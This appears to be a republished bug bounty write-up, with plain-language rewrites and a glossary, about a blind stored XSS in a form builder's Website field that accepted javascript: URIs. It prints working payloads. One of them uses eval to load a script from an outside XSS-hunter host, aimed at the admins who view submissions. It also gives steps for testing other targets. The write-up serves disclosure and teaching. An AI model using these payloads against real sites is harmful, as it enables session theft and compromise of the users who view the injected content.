Hack your form new vector for BXSS
A form builder allowed users to submit a website URL that was rendered as a link without proper validation, so an attacker could inject a javascript: URI that executed when the form creator viewed the submission. This led to blind stored cross-site scripting against the form creator.
Published on medium.com
I’m Youssef A. Mohamed aka GeneralEGSecurity Researcher @CESPPA , Cyber Security Engineer @Squnityand SRT Member @Synack
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target is a private bug bounty program, referred to throughout as redacted.com. The feature under test is a form builder: a creator user builds a form, shares the link with visitors, visitors fill it in, and the submitted information is then available to the form's creator at:
redacted.com/manager/{Form ID}/
Among the fields offered when creating a form is a Website input. The value a visitor types there is later shown to the form's creator in the manager view; in the researcher's first test the link was rendered inside an anchor (a) tag.
Setup
Two roles are needed to reproduce this:
- A creator account, which builds the form and later views the submissions in the manager panel.
- A visitor session, which fills in the form and supplies the Website value.
No special tooling is described beyond a browser and manual fuzzing of the input. The researcher notes that the same issue was found in many targets and that this program is used as the example; the program is private, hence the redaction.
Finding it
While testing the form creation functions, the researcher noticed the Website input and made a simple form containing it.

The form was then opened as a visitor. The first idea was the basic reflected-style probe: if the value were placed into an attribute or into markup without encoding, a quote followed by a payload would break out. The value submitted was:
https://example.com/?"%22"
That is a double quote, its URL-encoded form (%22) and its HTML-entity form ("), all in one string, to see which decoding stage the application applied.
Opening the creator account to inspect the submission showed the filter had encoded the double quotes, and the stored value came back as:
https://example.com"%22"
The link was rendered inside an a tag.

So the obvious breakout was closed off: the quote characters were neutralised before rendering. The researcher took a break, then came back to the problem.

Exploitation
Step 1: fuzz the scheme
Instead of attacking the quoting, the researcher started fuzzing the {Enter Website} input, looking at what the filter would accept as a value at all. One result stood out: the filter accepted a value with an arbitrary scheme prefix:
test:https://example.com

This matters because a Website field is normally validated as a URL, and a validator that only checks for the presence of https:// somewhere in the string would accept anything in front of it.
Step 2: confirm the scheme is used as a link target
With an arbitrary prefix accepted, the next test was a dangerous scheme:
javascript:https//evil.com
This worked.

Step 3: make it a valid, self-contained payload
The bare javascript: value proved execution, but the researcher wanted a payload that also looked like a real website, so the payload needed a real website merged with it. The result was:
javascript:x='http://x.c';alert('xss');//
This executed.

Step 4: turn it into blind XSS
An alert only proves execution in the visitor's own browser. The valuable target is the form's creator, who opens the manager panel and views the submission. To attack that user, the payload has to load an external script, which is where a blind XSS platform comes in. The final payload was:
javascript:eval('a=document.createElement(\'script\');a.src=\'https://generaleg.xss.ht\';document.body.appendChild(a)');s='https://s.com'

The payload was intended to attack the real admins who view the submissions.
Root cause
The filter accepted a value with an arbitrary scheme prefix in front of a URL.
The quote encoding seen in the first test was a real defence, and it did stop attribute breakout. It did nothing about the scheme, because no quote is needed to abuse href. The two defences were solving different problems, and only one of them was present.
Impact
A visitor to a form containing a Website field could store a javascript: URI, which the researcher aimed at the admins who view submissions. Because the creator is the one viewing the data, this is a stored, blind XSS: the attacker does not need to be present when it fires. In the researcher's own framing, the best scenario is attacking the real admins who review form submissions.
The researcher notes that 80% of their targets with a Website input were vulnerable to the same scenario.
Fix
The report does not describe what the program changed. The existing quote encoding should stay.
Variants to test
The researcher gives two checks to run against other targets with a Website input:
- Submit a value with a foreign scheme in front of a valid URL, for example
javascript:https://generaleg0x01.com. A positive result is that the application accepts the other URI scheme. - Submit a normal URL such as
https://generaleg0x01.comand inspect the manager or profile view. A positive result is that the value is rendered inside an HTMLatag.
Where both hold, the researcher states the same payload will work in most similar situations. The general lesson drawn is to fuzz as much as possible and not to stop after one filter-bypass technique fails.
Timeline
| Date | Event |
|---|---|
| 20 December 2018 | Report submitted |
| 25 December 2018 | Report reviewed and triaged |
| 30 December 2018 | Report resolved and 800 USD bounty awarded |
What happened, in plain words
A security researcher found a bug in a private bug bounty program, which we will call redacted.com. The program had a form builder: a person could create a form, share it, and visitors would fill it in. The form had a field called Website. When a visitor typed something into that field, the value was later shown to the form's creator as a clickable link. The researcher found that a value starting with javascript: was accepted in the Website field, and built a payload aimed at the admins who view submissions. This is called a blind cross-site scripting (XSS) attack, because the attacker does not see the result directly; the code is meant to run in another user's browser. The researcher reported it and received an 800 USD bounty.

Hello Pentesters,
I'm Youssef A. Mohamed aka GeneralEG, Security Researcher @CESPPA, Cyber Security Engineer @Squnity and SRT Member @Synack.

Today I'm going to share a juicy finding with you. It's about bypassing a couple of filters to execute malicious JavaScript easily and achieve a Blind Stored XSS. I found this issue in many targets, so I'll take one of these programs as an example. The program is private, so let's call it redacted.com.
How the form service works
Recently I was testing this program and after some reconnaissance I found that the website offers a service to create forms. Here's how it works:
- A creator user creates a form.
- The creator shares the link with visitors.
- A visitor fills in the form.
- The filled information is available to the form's creator at
redacted.com/manager/{Form ID}/.
So while testing the form creation functions, I found a Website input. I made a simple form.

Then I opened the form as a visitor.
At first I tried the basic approach: I thought that if I wrote website.com?" payload it would execute. So I entered:
https://example.com/?"%22"
This is a double quote, its URL-encoded form (%22), and its HTML-entity form ("), all in one string. Then I opened the creator account to see what happened. But unfortunately, the filter encoded the double quotes. The stored value came back as:
https://example.com"%22"
And I noticed that the link was rendered inside an a tag.

So I decided to grab a cup of coffee.

After a few minutes of deep thinking while drinking my coffee about how to bypass this, I decided to start fuzzing the {Enter Website} input. While fuzzing I noticed that the filter accepted test:https://example.com!

Then I tried javascript:https//evil.com and it worked! "Evil loud laugh"

Now I'm sure there's XSS here, but it needs a real website merged with my payload, so I wrote this one:
javascript:x='http://x.c';alert('xss');//
Finally executed!

But wait, we want to make it Blind XSS to attack the real admins (the best scenario). So the last payload was:
javascript:eval('a=document.createElement(\'script\');a.src=\'https://generaleg.xss.ht\';document.body.appendChild(a)');s='https://s.com'

¯_(ツ)_/¯
That's it!
Notes
-
80% of my targets which have a Website input were vulnerable to the same scenario.
-
To make sure your target is vulnerable to the same problem, you need a few steps:
A. Check if the website accepts other URI schemes like
javascript:https://generaleg0x01.comor not.B. Check if the website renders your
https://generaleg0x01.cominside an HTMLatag or not. -
In most similar situations, the same payload will work perfectly.
Timeline
| Date | Event |
|---|---|
| 20 December 2018 | Report submitted |
| 25 December 2018 | Report reviewed and triaged |
| 30 December 2018 | Report resolved and 800 USD bounty awarded |
Learned lessons
- Fuzz as much as you can.
- Don't try just one technique to bypass the filter; try other techniques too.
Glossary
- Blind XSS: A cross-site scripting attack where the attacker does not see the result directly; the malicious script executes in a different user's browser (like an admin) when they view the injected content.
- Stored XSS: A type of XSS where the malicious script is saved on the server (e.g. in a database) and later served to other users.
- XSS (Cross-Site Scripting): A vulnerability that allows an attacker to inject malicious scripts into web pages viewed by other users.
- Filter: A security mechanism that checks and modifies input to prevent malicious data from being processed.
- Fuzzing: Automated or semi-automated testing where many different inputs are sent to a system to discover how it behaves and find vulnerabilities.
- URI scheme: The part of a URL before the colon (e.g.
http:,https:,javascript:), which tells the browser how to handle the link. javascript:URI: A URI scheme that executes JavaScript code when clicked, instead of navigating to a web page.atag: An HTML anchor element used to create hyperlinks.hrefattribute: The attribute of anatag that specifies the URL the link points to.- URL encoding: A way to represent special characters in a URL using percent signs and hexadecimal numbers (e.g.
%22for a double quote). - HTML entity encoding: A way to represent special characters in HTML using ampersand and codes (e.g.
"for a double quote). eval: A JavaScript function that executes a string as code.document.createElement: A JavaScript method to create a new HTML element.appendChild: A JavaScript method to add a node to the end of a list of children of a parent node.- XSS hunter: A service that helps detect and manage blind XSS vulnerabilities by hosting payloads and logging when they execute.
- Bounty: A monetary reward given by a bug bounty program for reporting a valid security vulnerability.
- Triaged: The process where a security team reviews a report and confirms the vulnerability.
- Resolved: The status the report was given in the program's timeline.